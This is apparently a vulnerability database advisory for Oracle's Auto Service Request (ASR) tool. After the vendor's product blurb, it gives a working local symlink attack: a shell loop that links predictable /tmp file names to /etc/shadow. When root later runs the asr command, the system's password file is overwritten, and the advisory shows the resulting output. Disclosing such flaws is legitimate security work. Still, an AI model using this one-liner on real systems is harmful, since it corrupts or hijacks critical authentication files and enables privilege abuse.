The VapidLabs Vulnerability Database

Auto Service Request (ASR) is a secure, scalable, customer-installable software feature of warranty and Oracle Support Services that provides auto-case generation when common hardware component faults occur. ASR is designed to enable faster problem resolution by eliminating the need to initiate contact with Oracle Support Services for common hardware component failures, reducing both the number of phone calls needed and overall phone time required. ASR also simplifies support operations by using electronic diagnostic data. Easily installed and deployed, ASR is completely controlled by you, the customer, to ensure security. ASR is applicable only for component faults. Not all component failures are covered, though the most common components (such as disk, fan, and power supplies) are covered.

[larry@oracle-os-lab01 tmp]$ for x in `seq 500 999`; do ln -s /etc/shadow /tmp/status1_020213003$x; done

root executes the asr command:

[root@oracle-os-lab01 bin]# ./asr

        register OR register [-e asr-manager-relay-url]: register ASR
        unregister : unregister ASR
        show_reg_status : show ASR registration status
        test_connection : test connection to Oracle
.
.
.

        version : show asr script version
        exit
        help : display a list of commands
        ? : display a list of commands
asr>

/etc/shadow is now overwritten with the contents of /tmp/status1_020213003722 root # cat /etc/shadow

id      State       Bundle
68      ACTIVE      com.sun.svc.asr.sw_4.3.1
                    Fragments=69, 70
69      RESOLVED    com.sun.svc.asr.sw-frag_4.3.1
                    Master=68
70      RESOLVED    com.sun.svc.asr.sw-rulesdefinitions_4.3.1
                    Master=68
72      ACTIVE      com.sun.svc.asr.sw.http.AsrHttpReceiver_1.0.0
                    Fragments=73
73      RESOLVED    com.sun.svc.asr.sw.http-frag_1.0.0
                    Master=72
 
67      ACTIVE      com.sun.svc.ServiceActivation_4.3.1

89823